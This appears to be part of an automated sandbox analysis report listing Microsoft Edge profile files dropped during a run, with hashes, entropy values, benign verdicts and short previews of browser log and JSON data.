SHA-256:	D12C69BE89282D4F5F6560ADF64AA25C6FE512BF7EB95AE08D0879EC3A4B3D87
SHA-512:	1B2198ABD689CB5620C425FCE70FA389550904C09A7F2E44A54437227A2A865F95EC3DE5AF1E4C0F6F5C4806A02F020706F6A2D0E710BEB862E3EAC8DF770F0F
Malicious:	false
Preview:	2024/11/12-04:37:19.723 1dac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/12-04:37:19.734 1dac Recovering log #3.2024/11/12-04:37:19.734 1dac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.141409773009617
Encrypted:	false
SSDEEP:	6:HU4HFm9WM+q2PN723oH+Tcwt8aPrqIFUt8YU4HFmfz1Zmw+YU4HFmflWMVkwON77:29L+vVaYebL3FUt8DfZ/+DflLV5OaYeo
MD5:	034F3C4EA674B9E7AEFC786994356AF5
SHA1:	6C46C3880079712E6DB544FE9EE0581716D17D90
SHA-256:	D12C69BE89282D4F5F6560ADF64AA25C6FE512BF7EB95AE08D0879EC3A4B3D87
SHA-512:	1B2198ABD689CB5620C425FCE70FA389550904C09A7F2E44A54437227A2A865F95EC3DE5AF1E4C0F6F5C4806A02F020706F6A2D0E710BEB862E3EAC8DF770F0F
Malicious:	false
Preview:	2024/11/12-04:37:19.723 1dac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/12-04:37:19.734 1dac Recovering log #3.2024/11/12-04:37:19.734 1dac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.165922801999888
Encrypted:	false
SSDEEP:	6:HU4HFmVFkWM+q2PN723oH+Tcwt865IFUt8YU4HFmH1Zmw+YU4HFmbFYlWMVkwON0:2VFkL+vVaYeb/WFUt8DV/+DeLV5OaYev
MD5:	65734F60A6906EC4FB6D4ABD4767A6E3
SHA1:	3293C285CEE88F64DE8472F6EBFE9823102A5B0A
SHA-256:	86490D959C05E313687925287F3D5D93D7A5CDE8B1F6C7CB43D7673516ABB118
SHA-512:	448B2BB4935D8288A1E24E5C9B1DFEA5BAAC3B7E4F1EFFC126A4E7731C0EE6E80683CE83DA67D42AFF586052927A736B608E9AA6B2CF0B628D5613B6262D30CF
Malicious:	false
Preview:	2024/11/12-04:37:19.737 1dac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/12-04:37:19.738 1dac Recovering log #3.2024/11/12-04:37:19.739 1dac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.165922801999888
Encrypted:	false
SSDEEP:	6:HU4HFmVFkWM+q2PN723oH+Tcwt865IFUt8YU4HFmH1Zmw+YU4HFmbFYlWMVkwON0:2VFkL+vVaYeb/WFUt8DV/+DeLV5OaYev
MD5:	65734F60A6906EC4FB6D4ABD4767A6E3
SHA1:	3293C285CEE88F64DE8472F6EBFE9823102A5B0A
SHA-256:	86490D959C05E313687925287F3D5D93D7A5CDE8B1F6C7CB43D7673516ABB118
SHA-512:	448B2BB4935D8288A1E24E5C9B1DFEA5BAAC3B7E4F1EFFC126A4E7731C0EE6E80683CE83DA67D42AFF586052927A736B608E9AA6B2CF0B628D5613B6262D30CF
Malicious:	false
Preview:	2024/11/12-04:37:19.737 1dac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/12-04:37:19.738 1dac Recovering log #3.2024/11/12-04:37:19.739 1dac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.100433690320477
Encrypted:	false
SSDEEP:	6:HU4HXUGN9+q2PN723oH+Tcwt8NIFUt8YU4HXhA+2WZmw+YU4HXQ+9VkwON723oHt:79+vVaYebpFUt87+J/+B+9V5OaYebqJ
MD5:	586E578051253F1C8FB52FD1B2E52C0D
SHA1:	5581BD7609762558CF7F2F054211F523982447ED
SHA-256:	79E91FF27D95CDADE255947083382847625E44A2CFFF639F551F238498380DDA
SHA-512:	D48EA9D50C92CF662474FA27BB65A0BBA4637DF694CC71E62B35D779093885B2AC67829CFBD220D15EE1BB5502E54D136FF14424B47698736748630BBD5B211C
Malicious:	false
Preview:	2024/11/12-04:37:20.485 1e0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/12-04:37:20.487 1e0c Recovering log #3.2024/11/12-04:37:20.500 1e0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.100433690320477
Encrypted:	false
SSDEEP:	6:HU4HXUGN9+q2PN723oH+Tcwt8NIFUt8YU4HXhA+2WZmw+YU4HXQ+9VkwON723oHt:79+vVaYebpFUt87+J/+B+9V5OaYebqJ
MD5:	586E578051253F1C8FB52FD1B2E52C0D
SHA1:	5581BD7609762558CF7F2F054211F523982447ED
SHA-256:	79E91FF27D95CDADE255947083382847625E44A2CFFF639F551F238498380DDA
SHA-512:	D48EA9D50C92CF662474FA27BB65A0BBA4637DF694CC71E62B35D779093885B2AC67829CFBD220D15EE1BB5502E54D136FF14424B47698736748630BBD5B211C
Malicious:	false
Preview:	2024/11/12-04:37:20.485 1e0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/12-04:37:20.487 1e0c Recovering log #3.2024/11/12-04:37:20.500 1e0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018164538716206491
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEjEalvl/:/M/xT02zDab/
MD5:	2F061132647099B75568B66F1930117F
SHA1:	2DD32F020CFDE26052119BB3A6116D68CFEC4836
SHA-256:	BADFA2DDEB3EAEA09AC6CCC837726E8712BD30AF6CCAB1B076148906F4A7C311
SHA-512:	B162FCA2E3F44276BB807A26AE2BD3AFCD49EE33D3FA76BA6594633FF382F5BBAA0B5BF359B8F4EF10991C55B8584E0233456DA5FD6799E8E307033B2A94AF16
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:4ElLvtFlljq7A/mhWJFuQ3yy7IOWUr4dweytllrE9SFcTp4AGbNCV9RUIy:4MLk75fOF4d0Xi99pEYk
MD5:	9EEC7600BB3336126D8FBBF2232E75CD
SHA1:	B2EE32E8D15910D4F5F6586C1B8C0D00CA32D724
SHA-256:	456B7758F4E37ED94CBDCC217CC6E025BBF9E0A849AFBAAB15D9C863381CF4CA
SHA-512:	15C2F16976E9D6DEC96D132D68047AC42958E301BF265F0156351F8FABC0BAE4B481999082AB997F61FE2CFD76128A417F3A843C6BBD3D694B8B4FEB84A93028
Malicious:	false
Preview:	.............4.....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.648136367543165
Encrypted:	false
SSDEEP:	384:aj9P0OQkQerkjl5cbP/KbtIgam6IThj773pLLRKToaAu:adJe2ml+bP/SjF7NRKcC
MD5:	AFA113B9927A62737C44C871815A4355
SHA1:	0090F6FD8A2E6280F513D5DE8979F05DEB4F58DB
SHA-256:	0D78C9F0496C38B4CDF7A9CF9E767558CF2F3A4C3D13F348EF7CF168C262E095
SHA-512:	58FB40F9C1A2CC10F772A0507C8F2CF5D36EADAC39DB093EB08B3BA29F2539C470A737570130926E09847D52D2F4575ABA7DCA7195C07E88BF0319584F1E083C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.23137301394612
Encrypted:	false
SSDEEP:	12:a9+vVaYeb8rcHEZrELFUt82J/+29V5OaYeb8rcHEZrEZSJ:FVaYeb8nZrExg8UOaYeb8nZrEZe
MD5:	6485512FBA1E2B736C758C7A0EBBD704
SHA1:	71122D736AFA7E0C1F43AB68E5B8CF2CB9C4AF7A
SHA-256:	BDDCFF158373552D6AABF237FBAB6E0B0DA46EA8924EDF79D1C3DC704300F5FD
SHA-512:	0C9D3568099D2FB705836A162E02303F67D86ECBF2C329B1347658A2C4BF2040A302216794D9145F2949B7AC2C4E36A51A1D6A3ABFFB1AD4F681D90E662ADE7A
Malicious:	false
Preview:	2024/11/12-04:37:23.438 1e0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/12-04:37:23.439 1e0c Recovering log #3.2024/11/12-04:37:23.439 1e0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.23137301394612
Encrypted:	false
SSDEEP:	12:a9+vVaYeb8rcHEZrELFUt82J/+29V5OaYeb8rcHEZrEZSJ:FVaYeb8nZrExg8UOaYeb8nZrEZe
MD5:	6485512FBA1E2B736C758C7A0EBBD704
SHA1:	71122D736AFA7E0C1F43AB68E5B8CF2CB9C4AF7A
SHA-256:	BDDCFF158373552D6AABF237FBAB6E0B0DA46EA8924EDF79D1C3DC704300F5FD
SHA-512:	0C9D3568099D2FB705836A162E02303F67D86ECBF2C329B1347658A2C4BF2040A302216794D9145F2949B7AC2C4E36A51A1D6A3ABFFB1AD4F681D90E662ADE7A
Malicious:	false
Preview:	2024/11/12-04:37:23.438 1e0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/12-04:37:23.439 1e0c Recovering log #3.2024/11/12-04:37:23.439 1e0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1657
Entropy (8bit):	5.680355182374115
Encrypted:	false
SSDEEP:	48:DZFxzv4G9XZ8V03Sx4ZMy139GHHHxda2LoEJ:Dj1vT5EjRxLn
MD5:	4CD3DC379361D353036D09F323A6E880
SHA1:	386099965350EACDE71EBF32B44D42369E2B8B43
SHA-256:	871B7BF95C30AC6DB79C5DB0EF094BEC1293007B3F841DB24A22FA6D5682051A
SHA-512:	0007EC059150EC8C25F7304921C3CC039D39CDC5358C5D6F1D4BD8933AE23D9F83D48C2A298616EF63045017F18B531D9EB48CD744536BF9F48564C1984EEE50
Malicious:	false
Preview:	4.b.{................VERSION.1..META:https://ntp.msn.com..............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":608}.!_https://ntp.msn.com..LastKnownPV..1731404251798.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731404254368.._https://ntp.msn.com..MUID!.34DD94F9EF376C2E059581CCEEC66D3A.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731404251871,"schedule":[-1,31,-1,32,-1,16,-1],"scheduleFixed":[-1,31,-1,32,-1,16,-1],"simpleSchedule":[49,52,32,19,46,20,50]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731404251751.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241112.37"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_http

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.102348457388375
Encrypted:	false
SSDEEP:	6:HU4HXyWSQL+q2PN723oH+Tcwt8a2jMGIFUt8YU4HXeGKWZmw+YU4HXlApQLVkwOZ:D3+vVaYeb8EFUt8cKW/+EzV5OaYeb8bJ
MD5:	57AAC9751765C9C67B170638A47B6736
SHA1:	AEE77EBB8E8D3316B7A894D2DA128355B3BC0C02
SHA-256:	F1B505D4BE4AF0FCAEFA30C5FAF4C7894A5C2C6A7A905DBAC80108EA7504CC8D
SHA-512:	7AEECBF517F02EB40109A61E2E522F2456C5EDD706983FFDEA02E20CA4755E6942DAB109E02F6E44F6E09007A8F876F3573D914D90024BB4E68ECD3BEDA2595D
Malicious:	false
Preview:	2024/11/12-04:37:20.066 1cec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/12-04:37:20.068 1cec Recovering log #3.2024/11/12-04:37:20.071 1cec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.102348457388375
Encrypted:	false
SSDEEP:	6:HU4HXyWSQL+q2PN723oH+Tcwt8a2jMGIFUt8YU4HXeGKWZmw+YU4HXlApQLVkwOZ:D3+vVaYeb8EFUt8cKW/+EzV5OaYeb8bJ
MD5:	57AAC9751765C9C67B170638A47B6736
SHA1:	AEE77EBB8E8D3316B7A894D2DA128355B3BC0C02
SHA-256:	F1B505D4BE4AF0FCAEFA30C5FAF4C7894A5C2C6A7A905DBAC80108EA7504CC8D
SHA-512:	7AEECBF517F02EB40109A61E2E522F2456C5EDD706983FFDEA02E20CA4755E6942DAB109E02F6E44F6E09007A8F876F3573D914D90024BB4E68ECD3BEDA2595D
Malicious:	false
Preview:	2024/11/12-04:37:20.066 1cec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/12-04:37:20.068 1cec Recovering log #3.2024/11/12-04:37:20.071 1cec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\17730185-b34e-48b8-a451-0312dfa844c0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1990
Entropy (8bit):	5.2982788927852855
Encrypted:	false
SSDEEP:	48:YcCpfgCzsGtsgfc7RsTsleeIkEstCgHUIsHCgH6Yhbj:F2fRn2TkeIk5TUXTfh/
MD5:	EA6D89DEFD8939BCFB192D3246B25791
SHA1:	2E4DD389E5CDA0CB9521C52ED6E92C060D0A5A43
SHA-256:	5616E47A5074ADA650E0793FA3A14DD9F992BEBFBD4F10D502A9DD4807C82052
SHA-512:	DBE22ADDCFDC6DADEE6DB4D4C4337CFE5EEA580565DBD22EB6A37CDFD3439F78949323B917FD46FFE0B0A68D11C2C4B5CAA7482B146EC775A1E7A30395EF0B1C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378469842133332","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378469844535954","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_a

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1868c053-d12e-472d-9044-9c6a2ab4a445.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3eb12d48-fce6-4886-a307-76ce5692353f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\48917747-4b68-4a28-ac2f-000afb01ac7b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\99a31a8f-0e98-43c5-84fd-23bce2bf7c7b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
